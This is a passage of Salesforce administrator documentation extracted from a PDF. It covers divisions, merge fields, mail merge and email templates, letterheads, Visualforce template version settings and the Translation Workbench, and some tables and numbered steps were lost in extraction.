Click the name of the currency you want to edit.
Click Del for the date range you want to delete.
453
Divisions
About Divisions
If the date range you want is not displayed, enter it in the Show all rates with start dates between fields and
click Go!.
To edit your dated exchange rates for a particular currency:
1.
2.
3.
4.
Click Your Name > Setup > Company Profile > Manage Currencies.
Click Manage Dated Exchange Rates.
Click the name of the currency you want to edit.
Click Edit for the date range you want to edit. If the date range you want is not displayed, enter it in the Show all
rates with start dates between fields and click Go!.
5. Edit the exchange rate, setting it to the new value for the date range, and click Save.
See Also:
About Advanced Currency Management
Managing Multiple Currencies
Setting Corporate Currency
Activating and Deactivating Currencies
Editing Conversion Rates
Administrator setup guide: Using Multiple Currencies
DIVISIONS
About Divisions
Available in: Professional, Enterprise, Unlimited, and Developer Editions
Affected by Divisions
Divisions let you segment your organization's data into logical sections, making searches, reports, and list views more meaningful
to users. For example, you can create a report to show the opportunities for just the North American division, allowing you
to get accurate sales numbers for the North American sales team. Divisions are useful for organizations with extremely large
amounts of data.
454
Divisions
Overview of Divisions
Note: Contact salesforce.com to enable divisions for your organization. Divisions do not restrict users access to data
and are not meant for security purposes.
See Also:
Overview of Divisions
Getting Started with Divisions
Creating and Editing Divisions
Transferring Divisions
Changing Your Working Division
Changing Your Default Division
Administrator tip sheet: Getting Started with Divisions
Overview of Divisions
Available in: Professional, Enterprise, Unlimited, and Developer Editions
Affected by Divisions
Division on individual recordsDivision is a field on individual records which marks the record as belonging to a particular
division. A record can belong to a division that the administrator creates, or it can belong to the standard global division
which is created automatically when your organization enables divisions.
Default division for a userUsers are assigned to a default division that applies to their newly created accounts, leads,
and custom objects that are enabled for divisions.
Working divisionIf you have the Affected by Divisions permission, you set the division in which you want to work
using a drop-down list in the sidebar. Then, searches will show only the data for your working division. You can change
your working division at any time. If you do not have the Affected by Divisions permission, you do not have a working
division; you always see records in all divisions.
The following table shows how using divisions affects different areas:
Area
Description
Search
455
Divisions
Area
Overview of Divisions
Description
Reports
456
Divisions
Overview of Divisions
Area
Description
Editing records
Custom objects
Relationships
See Also:
Getting Started with Divisions
Administrator tip sheet: Getting Started with Divisions
About Divisions
457
Divisions
Affected by Divisions
458
Divisions
9. Instruct users how to set their working division for searches and reports. See Changing Your Working Division on page
62.
See Also:
Overview of Divisions
Administrator tip sheet: Getting Started with Divisions
About Divisions
Affected by Divisions
Click Your Name > Setup > Company Profile > Manage Divisions.
Click New to create a division, or Edit to change an existing one.
Enter the division name.
Select the checkbox to make the division active, meaning that records and users can be assigned to this division.
You cannot make a division inactive if users or lead queues are assigned to that division.
5. Click Save.
Note: You can create a maximum of 100 divisions, including any inactive ones.
To change the order in which divisions appear in the Division picklist field, click the Sort button and use the arrows to order
the divisions.
See Also:
About Divisions
Overview of Divisions
Getting Started with Divisions
Administrator tip sheet: Getting Started with Divisions
459
Divisions
Managing Templates
Managing Templates
Available in: All Editions except Database.com
Your administrator can create and maintain templates for defining letterheads, sending outbound email, and generating mail
merge documents.
Letterheads define the look and feel of your HTML email templates. Your HTML email templates can inherit the logo,
color, and text settings from a letterhead.
Email templates allow users to send email to contacts, leads, and others using predefined templates.
Mail merge templates allow users to create custom documents using the information from your records. For example, you
can create a customized thank you letter to a specific lead.
See Also:
Creating Letterheads
Managing Email Templates
Managing Mail Merge Templates
Merge Fields Overview
You can use merge fields within custom formula fields, s-controls, custom links, custom buttons, Visualforce pages, and when
you create email or mail merge templates. Merge fields serve as placeholders for data that will be replaced with information
from your records, user information, or company information.
460
Divisions
Managing Templates
For formulas that allow you to reference fields on related objects across multiple relationships, the field name is prefixed
by the name of the relationship. For standard relationships, the name of the relationship is the master object. For
example, you can reference the account name merge field from a contact validation rule using Account.Name; you
can reference the phone number of the account creator from an opportunity product formula field using
Opportunity.Account.CreatedBy.Phone. For custom relationships, the name of the relationship is the Field
Name given when creating the relationship with __r appended to it. For example, reference the contact email merge
field from a custom object validation rule using the Contact__r.Email merge field name.
Ensure that both the custom field name and label are not identical to the name and label of any existing standard or
custom field for that object. Identical values may result in unexpected behavior when you reference that name in a
merge field.
-
If a standard field and custom field have matching names or labels, the merge field displays the value of the custom
field.
If two custom fields have matching names or labels, the merge field may not display the value of the field you expect.
For example, if you create a field label called Email, the field name automatically populates as Email__c. If you also
have a standard field with the label Email, the merge field may not be able to distinguish between the standard and
custom field names. Make both the custom field name and label unique by adding a character to each, such as Email2
and Email2__c, respectively.
If your organization has enabled person accounts, account fields that previously had unique names and labels may no
longer be unique because some contact fields are displayed as part of the account object. These fields on the accounts
page are identified by the person account icon ( ). Ensure that all custom fields under account have unique field
names and labels so that the merge field references the correct field. For more information, see What is a Person
Account? on page 68.
Salesforce rounds numbers referenced in merge fields according to the user's locale, not the number of decimal of spaces
specified in the number field configuration.
Merge field guidelines for email templates and mail merge templates:
Each mail merge field label you use must be unique.
In email templates, you can add substitute text to any merge field. Substitute text displays in a sent email if the merge
record does not contain data for that field. To add substitute text, place a comma after the field name and enter the
text before the closing bracket, for example: Dear {!Contact.FirstName, Sir or Madam}. When you save the
template, the merge field will appear in the email template with the following syntax: Dear
{!BLANKVALUE(Contact.FirstName, "Sir or Madam")}.
For email templates, if a custom objects name and label is identical to the name and label of another standard or custom
object, you may see unexpected behavior when using merge fields from custom objects.
-
If a standard object and custom object have matching names or labels, only the standard object's fields display when
you select from Available Merge Fields. For example, if you have a custom object and a standard object both called
Quote, the custom object wont be available for selection. To ensure that you can select merge fields from either
object, make the custom object name and label unique by adding a character, such as Quote2.
If two or more custom objects have matching names or labels, only one of the objects displays when you select from
Available Merge Fields. Ensure that all custom objects have unique names and labels so that you can select merge
fields from any of the objects.
For mail merge templates, your merge fields can contain only letters, numbers, and the underscore (_) character. For
example, Opportunity_Product_# is not allowed. Mail merge field names cannot exceed 40 characters.
Templates with contact merge fields can be used to generate email and mail merge documents for leads. Likewise, you
can use lead templates to generate contact emails and documents.
Note: You can only use standard fields when generating email and mail merge documents for leads or contacts.
461
Divisions
Managing Templates
For opportunity mail merges, you can use contact merge fields to merge additional information about a related contact.
Merge fields for products on opportunities are only available to organizations that have enabled products and can only
be used in mail merge templates, but not email templates.
Approval process merge fields can be used in email templates, but not mail merge templates.
If the email template you choose contains approval merge fields named {!ApprovalRequest.field_name}, these
fields will return values only when that email template is used as the approval assignment template. If you use the
template for any other email alert actionin either workflow rules or approval processesthe merge fields will return
a null value.
In approval processes:
-
Merge fields in the approval request email are set to the submitter's name and the name of the first step.
When the request is approved, the merge fields update to the most recent approver's name and the name of the
second step, if applicable.
For subsequent actions, merge field values are updated based on the previous completed step.
462
Divisions
Managing Templates
Visualforce pages also can use merge fields. Anything inside {! } is evaluated as an expression that can access values
from records that are currently in context. For example, you can display the current user's first name by adding the
{!$User.FirstName} merge field to a page:
<apex:page>
Hello {!$User.FirstName}!
s</apex:page>
See Also:
Merge Fields for Cases
Setting Custom Buttons and Links
Managing Mail Merge Templates
Understanding Global Variables
You can use merge fields within custom formula fields, s-controls, custom links, custom buttons, Visualforce pages, and when
you create email or mail merge templates. Merge fields serve as placeholders for data that will be replaced with information
from your records, user information, or company information. The list of available merge fields depends on the type of data
that youre working with. This topic lists a subset of the merge fields for cases.
The syntax for a merge field may differ, depending on where you are using it in Salesforce. To ensure that you are using the
correct syntax, select merge fields from the drop-down list in the editor where you are using the merge field.
Most of the merge fields for cases correspond directly with a case field. See Case Fields on page 3197. These merge fields are
not documented here.
This table explains the more advanced merge fields that represent values derived from processing a case record.
Field
Merge Field
Description
Articles as
PDFs
Email Thread
Case.Email_Thread
In the Emails related list on the case detail page, users can click Send an
Email and choose a template containing this merge field. The attachments
can be previewed or deleted before the email is sent. See Sending Articles
from Cases on page 3189.
A thread of all emails where the case contact is a sender or recipient (To, CC,
or BCC). The emails are listed in reverse chronological order so the most
recent emails appear at the top of the thread. The thread inserts the text
version of the emails. You cant use this merge field in Visualforce pages.
The limits for the email thread are:
Maximum number of emails: 200
Email body truncation size: 32 KB
463
Divisions
Managing Templates
Field
Merge Field
Description
Solution
Attachments
Case.Solution_Attachments Attachments for the case solution. See Adding Attachments on page 289 and
Suggested
Solutions
Case.Suggested_Solutions Links to the subject and description of each suggested solution that may help
Case Thread
Id
Case.Thread_Id
A unique identifier for the case email thread in Email-to-Case. The thread
ID is the unique ID of each case email, such as
[ref:_DV0Txx._500V0U9YB:ref]. By default, the thread ID is added to both
the subject and body of case emails. The default location for the thread ID
is at the end of the body. Use this merge field to position it elsewhere in the
body. See Enabling and Configuring Email-to-Case on page 1373.
See Also:
Merge Fields Overview
Managing Mail Merge Templates
464
Divisions
Mail merge templates define the content of a form letter or other mail merge document. They include variables called merge
fields where data from your recordsfor example a contact's name and addressdisplays in the generated document.
As an administrator, you are responsible for building mail merge templates in Microsoft Word and uploading them to Salesforce
to make them available for your users. See the following topics:
Creating New Mail Merge Templates explains how to build a new mail merge template from a blank Word document.
Modifying Existing Mail Merge Templates explains how to download sample templates and modify them to meet your
unique business needs.
Uploading Mail Merge Templates to Salesforce explains how to upload completed mail merge templates to Salesforce.
Tip: Click the following link to download a Zip file of sample mail merge templates: mm_templates.zip
See Also:
Mail Merge Overview
Sending Single Mail Merge Documents
465
Divisions
3. Locate the text or data variables in your Word document that will change each time the template is used. For example, in
the salutation Dear Bob, Bob is a variable because it will change when the letter is sent to a different person.
4. Replace each variable with the appropriate Salesforce merge field.
Important:
Each mail merge field label you use must be unique.
If you have Connect for Office, you can use Word integration to insert merge fields quickly.
If you do not have Connect for Office:
a. Place your cursor where you want to insert a merge field.
b. In Word 2003 and earlier, select Insert and then Field from the Word menu bar. In Word 2007, select the Insert
tab on the Ribbon, click Quick Parts in the Text group, and then click Field.
c. Select Mail Merge in the Categories drop-down list.
d. Select MergeField in the Field names box.
e. In the Field Properties area of the Field name box, manually enter the valid Salesforce merge field, such as
Opportunity_LineItem_ProductName.
f. Click OK.
Note: To list information about all products associated with an opportunity, insert the
Opportunity_LineItem_Start merge field where you want to begin listing product information. Then,
insert all the merge fields you want to include for each product on an opportunity. Finally, insert the
Opportunity_LineItem_End to end the list.
Do not configure mail merge templates as protected or restricted access in Microsoft Word. Please refer to
Word's help for information about protected Word documents. (In Word, press F1 to open help.)
Do not connect mail merge templates to external data sources such as Excel worksheets or Access databases. Please
refer to Word's help for information about restoring mail merge documents to what Word calls normal Word
documents.
For details on how to set up your template with these tips in mind, refer to Guidelines for Uploading Mail Merge
Templates.
See Also:
Managing Mail Merge Templates
Mail Merge Overview
Force.com Connect for Microsoft Office Overview
466
Divisions
1.
2.
3.
4.
Download the sample mail merge templates and unzip the files to a convenient directory on your hard drive.
Review the instructions provided in salesforce_mailmerge_templates_howto.doc.
Open the desired sample template in Microsoft Word.
Save a copy of the sample template to your computer's desktop or other convenient location:
Word 2000, XP, and 2003 users, select Save As from the File menu then choose an appropriate file name and destination
folder.
Word 2007 users, select Save As from the Office button then choose an appropriate file name and destination folder.
If you have Connect for Office, you can use Word integration to insert merge fields quickly.
If you do not have Connect for Office:
a. Place your cursor where you want to insert a merge field.
b. In Word 2003 and earlier, select Insert and then Field from the Word menu bar. In Word 2007, select the Insert
tab on the Ribbon, click Quick Parts in the Text group, and then click Field.
c. Select Mail Merge in the Categories drop-down list.
d. Select MergeField in the Field names box.
e. In the Field Properties area of the Field name box, manually enter the valid Salesforce merge field, such as
Opportunity_LineItem_ProductName.
f. Click OK.
Note: To list information about all products associated with an opportunity, insert the
Opportunity_LineItem_Start merge field where you want to begin listing product information. Then,
insert all the merge fields you want to include for each product on an opportunity. Finally, insert the
Opportunity_LineItem_End to end the list.
467
Divisions
Do not configure mail merge templates as protected or restricted access in Microsoft Word. Please refer to
Word's help for information about protected Word documents. (In Word, press F1 to open help.)
Do not connect mail merge templates to external data sources such as Excel worksheets or Access databases. Please
refer to Word's help for information about restoring mail merge documents to what Word calls normal Word
documents.
For details on how to set up your template with these tips in mind, refer to Guidelines for Uploading Mail Merge
Templates.
See Also:
Managing Mail Merge Templates
Merge Fields Overview
Mail Merge Overview
Force.com Connect for Microsoft Office Overview
Administrators and users with the Manage Public Templates permission must upload completed Microsoft Word mail
merge templates to Salesforce to make them available for use.
Tip: Before uploading a template, we recommend reviewing Guidelines for Uploading Mail Merge Templates.
1. In Salesforce, click Your Name > Setup > Communication Templates > Mail Merge Templates.
2. Click New Template.
3. Enter a name and description for the template. This will help users correctly choose a template when generating mail
merge documents.
If your organization uses Extended Mail Merge, choose the appropriate document type: Document, Label, or Envelope.
Extended Mail Merge is available by request only. Contact salesforce.com Customer Support if you are interested in this
feature.
4. Click Browse to select your Word mail merge template.
468
Divisions
Using Letterheads
See Also:
Managing Mail Merge Templates
Merge Fields Overview
Mail Merge Overview
Using Letterheads
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
Manage Letterheads
A letterhead defines the logo, page color, and text settings for your HTML email templates. For best results, create a single
letterhead to use for all your HTML email templates. You can create letterheads and make them available organization-wide.
To use letterheads, click Your Name > Setup > Communication Templates > Letterheads.
From the Letterheads list page:
See Also:
Creating Letterheads
Letterhead Fields
Creating Letterheads
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
Manage Letterheads
Letterheads define the look and feel of your HTML email templates. Your HTML email templates can inherit the logo, color,
and text settings from a letterhead. A letterhead consists of properties and details. The properties are only visible inside your
469
Divisions
Using Letterheads
organization; they help users identify a letterhead. The details are applied to an email when using that letterhead. Use the
letterhead wizard to create both the properties and details of your letterhead.
1. Click Your Name > Setup > Communication Templates > Letterheads.
2. Click New Letterhead.
Click Edit Background Color, and enter a color for the background of your letterhead. Click the color picker button
to choose a color.
Click Edit Header Properties, and select the color, alignment, and height for the top section of the letterhead.
Click Select Logo to include an image of your company logo in the top or bottom section of the letterhead. To select
an image, choose a folder, and click the document name to attach the document. Alternatively, click Search in
Documents, and enter the file name to search for documents by name. Make sure the document you select is marked
as Externally Available on the Documents tab so that a user who does not have a Salesforce username and
password can view the image when it is received in an email.
Click Remove Logo to delete the image from the letterhead.
Click Edit Top Line, and enter a color and height for a horizontal line below the header. Click the color picker button
to choose a color.
Click Edit Body Colors, and enter the background color for the main body of your letterhead.
Click Edit Middle Line, and enter a color and height for the middle border in your letterhead. Click the color picker
button to choose a color.
Click Edit Footer Properties, and select a color, alignment, and height for the bottom section of the letterhead.
Click Edit Bottom Line, and select a color and height of a bottom horizontal line. Click the color picker button to
choose a color.
See Also:
Managing Email Templates
Creating Custom HTML Email Templates
470
Divisions
Using Letterheads
Letterhead Fields
Here is a description, in alphabetical order, of the fields that appear on the Letterhead Detail page.
Field
Description
Created By
Description
Letterhead Label
Modified By
Namespace Prefix
See Also:
Creating Letterheads
471
Divisions
Customize Application
Text - All users can create or change text email templates. See Creating Text Email Templates on page 475.
HTML with letterhead - Administrators and users with the Edit HTML Templates permission can create HTML
email templates based on a letterhead. See Creating HTML Email Templates on page 476.
Custom HTML - Administrators and users with the Edit HTML Templates permission can create custom HTML
email templates without using a letterhead. You must either know HTML or obtain the HTML code to insert in your
email template. See Creating Custom HTML Email Templates on page 482.
Visualforce - Administrators and developers can create templates using Visualforce. Visualforce email templates allow for
advanced merging with a recipient's data, where the content of a template can contain information from multiple records.
See Creating Visualforce Email Templates.
All of these email templates can include text, merge fields, and attached files. You can also include images on your HTML
and Visualforce templates. You can use email templates when you send an email from the Activity History related list of a
record. Text and HTML templates can also be used when you send mass email. A button to check the spelling of your template
is available for text templates and Visualforce templates without HTML tags.
Note: You cant send a mass email using a Visualforce email template.
To manage your personal email templates, click Your Name > Setup > Email > My Templates. If you have permission to
manage public email templates, click Your Name > Setup > Communication Templates > Email Templates.
Click on the name of any email template to go to the Viewing Email Templates page.
To edit or delete a template, click Edit or Del next to the template name in the list.
Click New Template to create any type of email template.
Note: Email templates used in the following features must be both public and active:
Web-to-Lead
Web-to-Case
Email-to-Case or On-Demand Email-to-Case
Assignment rules
472
Divisions
Escalation rules
Auto-response rules
See Also:
Cloning Email Templates
Using Letterheads
Developer's Guide: Visualforce Developer's Guide
Administrator tip sheet: Tips for Using HTML Email Templates
Customize Application
To view a template, click the template name in the list. The options vary depending on the template type (custom, HTML,
Visualforce, or text):
For text templates, click Edit to change the message content, subject, or merge fields.
For custom and HTML templates:
Click Edit HTML Version to change the content or merge fields of the HTML version.
Note: All custom and HTML email templates include a text-only version for recipients who are unable to
view HTML emails. If you leave the text-only version blank, the text-only version is automatically generated
when you edit the HTML version.
Click Edit Text Version to change the content or merge fields of the text-only version.
Caution: Salesforce.com recommends that you leave the text-only version blank. If you leave it blank, Salesforce
automatically creates the text-only content based on the current HTML version. If you don't leave the text-only
version blank and instead manually enter content, subsequent edits to the HTML version aren't reflected in
the text-only version.
473
Divisions
Click Send Test and Verify Merge Fields to view a sample of the template populated with data from records you choose
and send a test email.
Click Attach File from the Attachments related list to add an attachment to the template. The attached file is included
in every email that uses the template.
To select a file:
Click the Search in Documents link to search for files in the Documents tab. If you select an image logo or other
graphic file, make sure the document is marked as Externally Available on the Documents tab so all email
recipients can view the image.
Alternatively, choose an option from the File Location drop-down list to select a file from your computer or from a
document folder.
If you have the Manage Public Templates permission, you can click [Change] next to the Author field to select a
different author. Initially, the author is the person who created the email template.
Click Delete to remove the template.
Click Clone to clone a template. For more information, see Cloning Email Templates on page 484.
If Developer Mode is enabled, click Show Dependencies to see what components the template references. For more
information, see Understanding Dependencies on page 1970.
See Also:
Managing Email Templates
Email Template Fields
Managing Version Settings for Visualforce Email Templates
474
Divisions
475
Divisions
4. Choose a folder and click the document name to attach the document, or click Search in Documents and enter the file
name to search for a document by name.
Alternatively, click My Computer to attach a file from your computer.
The attached file is included in every email that uses the template. Note that attachments in mass emails are sent as links
rather than as physical files (see Sending Mass Email on page 264).
See Also:
Managing Email Templates
Creating HTML Email Templates
Creating Custom HTML Email Templates
Creating Visualforce Email Templates
Cloning Email Templates
476
Divisions
9. Select the Email Layout. The email layout determines the columns and page layout of the message text. Click View
Email Layout Options to see samples.
10. Select an Encoding setting to determine the character set for the template.
11. Enter a Description of the template. Both template name and description are for your internal use only. The description
is used as the title of any email activities you log when sending mass email.
12. Click Next.
13. Enter the Subject to appear in the email you send.
14. Enter the text to appear in the message you send. Click any section and begin entering text for your message. To prevent
users from editing a section when using this template, click the padlock icon.
15. Change the style of your text by selecting the text and using the format toolbar. See Using the Format Toolbar on page
481 for instructions on the format toolbar.
16. Optionally, enter merge fields in the template subject and body. These fields will be replaced with information from your
lead, contact, account, opportunity, case, or solution when you send an email. For details about using merge fields, see
Merge Fields Overview on page 460.
17. Click Next.
18. Optionally, enter the text-only version of your email or click Copy text from HTML version to automatically paste the
text from your HTML version without the HTML tags. The text-only version is available to recipients who are unable
to view HTML emails.
Caution: Salesforce.com recommends that you leave the text-only version blank. If you leave it blank, Salesforce
automatically creates the text-only content based on the current HTML version. If you don't leave the text-only
version blank and instead manually enter content, subsequent edits to the HTML version aren't reflected in the
text-only version.
19. Click Save.
Tip: Click Send Test and Verify Merge Fields to view a sample of the template populated with data from records
you choose and send a test email.
See Also:
Creating Text Email Templates
Creating Custom HTML Email Templates
Creating Visualforce Email Templates
Cloning Email Templates
Creating Letterheads
Adding Images to Email Templates
Cloning Email Templates
477
Divisions
Customize Application
478
Divisions
16. Click Version Settings to specify the version of Visualforce and the API used with this email template. If your organization
has installed managed packages from the AppExchange, you can also specify which version of each managed package to
use with this email template. Generally, you should use the default value for all versions. This associates the email template
with the most recent version of Visualforce, the API, as well as each managed package. You can specify an older version
of Visualforce and the API to maintain specific behavior. You can specify an older version of a managed package if you
want to access components or functionality that differs from the most recent package version.
17. Click Save to save your changes and view the details of the template, or click Quick Save to save your changes and continue
editing your template. Your Visualforce markup must be valid before you can save your template.
Note: The maximum size of a Visualforce email template is 1 MB.
You cant send a mass email using a Visualforce email template. The merge fields
{!Receiving_User.field_name} and {!Sending_User.field_name} work only for mass email and are
unavailable in Visualforce email templates.
Tip:
Click Send Test and Verify Merge Fields to view a sample of the template populated with data from records you
choose and send a test email. If the email template includes encrypted data, keep in mind that the data displays
encrypted within the generated email and when viewing the Visualforce template page. It doesn't display in plain
text for security purposes.
To translate Visualforce email templates based on recipients' or related objects' languages, use the
<messaging:emailTemplate> tag's language attribute (valid values: Salesforce supported language keys, for
example, en-US). The language attribute accepts merge fields from the email template's recipientType and
relatedToType attributes. You create custom language fields for use in the merge fields. The Translation
Workbench is required to translate email templates.
See Also:
Visualforce Overview
Managing Version Settings for Visualforce Email Templates
Adding Images to Email Templates
Creating Text Email Templates
Creating HTML Email Templates
Creating Custom HTML Email Templates
Viewing Email Templates
Cloning Email Templates
Creating Letterheads
Cloning Email Templates
Developer's Guide: Visualforce Developer's Guide
479
Divisions
Customize Application
To aid backwards-compatibility, each Visualforce email template is saved with version settings for the specified version of
Visualforce and the API. If the Visualforce email template references installed managed packages, the version settings for each
managed package referenced by the Visualforce component are saved too. This ensures that as Visualforce, the API and the
components in managed packages evolve in subsequent versions, a Visualforce email template is still bound to versions with
specific, known behavior.
A package version is a number that identifies the set of components uploaded in a package. The version number has the format
majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value
during every major release. The patchNumber is generated and updated only for a patch release. Publishers can use package
versions to evolve the components in their managed packages gracefully by releasing subsequent package versions without
breaking existing customer integrations using the package.
To set the Salesforce API and Visualforce version for an existing Visualforce email template:
1. Click Your Name > Setup > Email > My Templates. If you have permission to edit public templates, click Your Name
> Setup > Communication Templates > Email Templates.
2. Click the Email Template Name for the Visualforce email template.
3. Click Edit Template and then click Version Settings.
4. Select the Version of the Salesforce API. This is also the version of Visualforce used with this template.
5. Click Save.
To configure the package version settings for a Visualforce email template:
1. Click Your Name > Setup > Email > My Templates. If you have permission to edit public templates, click Your Name
> Setup > Communication Templates > Email Templates.
2. Click the Email Template Name for the Visualforce email template.
3. Click Edit Template and then click Version Settings.
4. Select a Version for each managed package referenced by the Visualforce email template. This version of the managed
package will continue to be used by the Visualforce email template if later versions of the managed package are installed,
unless you manually update the version setting. To add an installed managed package to the settings list, select a package
from the list of available packages. The list is only displayed if you have an installed managed package that is not already
associated with the Visualforce email template.
5. Click Save.
Note the following when working with package version settings:
If you save a Visualforce email template that references a managed package without specifying a version of the managed
package, the Visualforce email template is associated with the latest installed version of the managed package by default.
480
Divisions
You cannot Remove a Visualforce email template's version setting for a managed package if the package is referenced by
the Visualforce email template.
See Also:
Creating Visualforce Email Templates
Creating Text Email Templates
Creating HTML Email Templates
Creating Custom HTML Email Templates
Viewing Email Templates
Cloning Email Templates
Cloning Email Templates
Developer's Guide: Visualforce Developer's Guide
Description
Font
Choose a character style. Select the text you want applied to a font and then choose the appropriate
font.
Size
Choose a character size. Select the text you want applied to the size and then choose the size.
Insert a graphic from the documents library. This option is not available when doing some actions
such as creating custom home page components.
Choose a background color
Choose a font color
Make text bold
Make text italic
Underline text
Insert a new hyperlink or edit an existing link. Select the text you want to link, click this button,
and enter the URL for the link. To use a merge field such as {!Case_Link} as the destination of
the link, insert the merge field after the http://.
Left justify text
Center text
Right justify text
Bullet a list
481
Divisions
Option
Description
Number a list
Increase text indent
Decrease text indent
482
Divisions
Note: If you are including an image, we recommend uploading it to the Documents tab so that you can reference
the copy of the image that is on our server. For example:
<img src="https://na2.salesforce.com/servlet/servlet.ImageServer?
id=015D0000000Dpwc&oid=00DD0000000FHaG&lastMod=1270576568000" alt="Company Logo"
height="64" width="64"/>
13. Optionally, enter merge fields in the template subject and body. These fields will be replaced with information from your
lead, contact, account, opportunity, case, or solution when you send an email. For details about using merge fields, see
Merge Fields Overview on page 460.
14. Click Next.
15. Optionally, enter the text-only version of your email or click Copy text from HTML version to automatically paste the
text from your HTML version without the HTML tags. The text-only version is available to recipients who are unable
to view HTML emails.
Caution: Salesforce.com recommends that you leave the text-only version blank. If you leave it blank, Salesforce
automatically creates the text-only content based on the current HTML version. If you don't leave the text-only
version blank and instead manually enter content, subsequent edits to the HTML version aren't reflected in the
text-only version.
16. Click Save.
Tip: Click Send Test and Verify Merge Fields to view a sample of the template populated with data from records
you choose and send a test email.
Note: Users cannot modify the content of a custom HTML template when they select it for use in an email.
See Also:
Adding Images to Email Templates
Creating Text Email Templates
Creating HTML Email Templates
Creating Visualforce Email Templates
Creating Letterheads
Cloning Email Templates
483
Divisions
Customize Application
Cloning an email template involves saving an existing email template with a new name. To clone an email template:
1. To manage your personal email templates, click Your Name > Setup > Email > My Templates. If you have permission
to manage public email templates, click Your Name > Setup > Communication Templates > Email Templates.
2. Click the name of an email template in the list.
3. Click Clone.
4. Choose a folder in which to store the template.
5. Select the Available For Use checkbox if you would like this template offered to users when sending an email.
6. Enter an Email Template Name.
7. Enter a Description for the template. Both template name and description are for internal use only.
8. Click Save.
See Also:
Managing Email Templates
Creating HTML Email Templates
Creating Text Email Templates
Creating Custom HTML Email Templates
Creating Visualforce Email Templates
484
Divisions
Customize Application
You can include images or logos on your HTML and Visualforce email templates. For HTML with letterhead templates,
logos or images come from the letterhead you choose when creating the template.
When creating custom HTML or Visualforce templates, simply include img tags that reference the image. We recommend
uploading the images to the Documents tab and referencing the copy of the image on the Salesforce server. For example, for
HTML:
<img src="https://na2.salesforce.com/servlet/servlet.ImageServer?
id=015D0000000Dpwc&oid=00DD0000000FHaG&lastMod=1270576568000" alt="Company Logo"
height="64" width="64"/>
Visualforce example:
<apex:image id="Logo" value="https://na7.salesforce.com/servlet/servlet.ImageServer?
id=015D0000000Dpwc&oid=00DD0000000FHaG&lastMod=127057656800"
height="64" width="64"/>
See Also:
Creating HTML Email Templates
Creating Custom HTML Email Templates
Creating Visualforce Email Templates
Description
API Version
485
Divisions
Field
Description
Author
Created By
Description
Email Layout
Encoding
Folder
The most recent date that any user sent an email using the
template.
Letterhead
Modified By
Namespace Prefix
Subject
Text Body
Body of the email. This text appears in the body of every email
sent with this template. The maximum size is 384 KB.
486
Translation Workbench
Field
Description
Times Used
The total number of times that users have sent emails using
the selected template. This includes single and mass emails.
See Also:
Managing Email Templates
TRANSLATION WORKBENCH
Setting Up the Translation Workbench
Available in: Professional, Enterprise, Unlimited, and Developer Editions
Manage Translation
To assign translators:
Manage Translation
Manage Translation
To translate terms:
To override terms:
The Translation Workbench lets you specify languages you want to translate, assign translators to languages, create translations
for customizations youve made to your Salesforce organization, and override labels and translations from managed packages.
Everything from custom picklist values to custom fields can be translated so your global users can use all of Salesforce in their
language.
Tip: When creating a custom report type that will be translated into multiple languages via the Translation Workbench,
we recommend that your personal language setting matches your organization's default language. This ensures that
words that will be translated display in the correct language for translators. For more information, see Editing Your
Personal Information on page 30 and Company Information Fields on page 444.
487
Translation Workbench
When a customized component is translated, changes to that component are tracked and the Out of Date indicator is set
when the translations need updating. You can manage translated values for any of Salesforce supported languages.
Note: Custom objects are not available in the translation workbench. Use the rename tabs and labels interface or the
IDE for custom object translation.
Enabling the Translation Workbench makes some changes to your Salesforce organization:
Picklist values must be edited individually. This means you cant mass edit existing picklist values, though you can still
mass add new values.
When picklist values are sorted alphabetically, the values are alphabetical by the organization's default language.
Reports have a Filter Language drop-down list in the Filters pane of the report builder. Selecting a language will filter
on translated strings for any filter criteria that use the "starts with," "contains," or "does not contain" operator.
Import files have a Language drop down and all records and values within the import file must be in that language.
Web-to-Lead and Web-to-Case have a Language drop down before you generate the HTML.
Note: Salesforce assumes all customizations are entered in the organization's default languageglobal administrators
should work together in the organization's default language.
To disable the Translation Workbench, click Your Name > Setup > Translation Workbench > Translation Settings >
Disable.
Note: In a Developer organization with a managed package containing translations, once the Translation Workbench
is enabled, it can't be disabled.
See Also:
Adding and Editing Translated Languages and Translators
Entering Translated Terms
Entering Overrides to Translations in Managed Packages
Updating Translated Terms
Administrator tip sheet: Setting Up the Translation Workbench
Localizing with the Force.com IDE
Salesforce Globalization Overview
488
Translation Workbench
Manage Translation
Use the Translation Workbench to add languages that you support, activate or deactivate a language, assign translators for
that language, and enter translated terms for customizations you've made in your organization's default language.
Note: The Manage Translation permission is enabled by default in the System Administrator profile.
Click Your Name > Setup > Translation Workbench > Translation Settings.
Click Add to activate a new language or Edit to change an existing supported language.
If adding a new language, choose a language.
To make the entered translations available to your users - select Active. Users can change their personal language anytime
whether or not it's active in the Translation Workbench. Selecting Active makes the translations available to the users
in that language.
Tip: We recommend you don't make a language active until the translators have translated all values.
5. To assign translators for this language, select them from the Available List and click Add. If you don't see the member
you want to add, enter keywords in the search box and click Find.
Important: Ensure all translators have the "View Setup and Configuration" permission so that they can begin
translating. Users can only translate languages they're assigned to.
6. Click Save.
See Also:
Setting Up the Translation Workbench
Entering Translated Terms
Entering Overrides to Translations in Managed Packages
Updating Translated Terms
489
Translation Workbench
Translatable Customizations
Translatable Customizations
Available in: Professional, Enterprise, Unlimited, and Developer Editions
To override terms:
To view the translatable customizations in your organization, select Your name > Setup > Translation Workbench > Translate
> Setup Component. Then, if needed, select Object, Custom Report Type Entity, or Aspect.
You can translate the following components.
490
Translation Workbench
Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.
See Also:
Setting Up the Translation Workbench
Entering Translated Terms
Entering Overrides to Translations in Managed Packages
Exporting Translation Files
To enter translations:
1. Click Your Name > Setup > Translation Workbench > Translate.
2. Select the Language you're translating into.
3. Select a Setup Component. Click the pull-down menu to select from the list of translatable customizations. See
Translatable Customizations for a complete list of possible customizations.
4. If necessary select an object and aspect. For example, workflow tasks have an object (Account, Contact, etc.) and aspect
(Subject or Comment).
5. Double click in the translation column to enter new values. You can press TAB to advance to the next editable field or
SHIFT-TAB to go to the previous editable field.
Note: The Out of Date column indicates that the item has been updated and the term may need translating.
When editing a button or link label, you see the Button or Link Name column, which is used to refer to the
component when using the SOAP API.
491
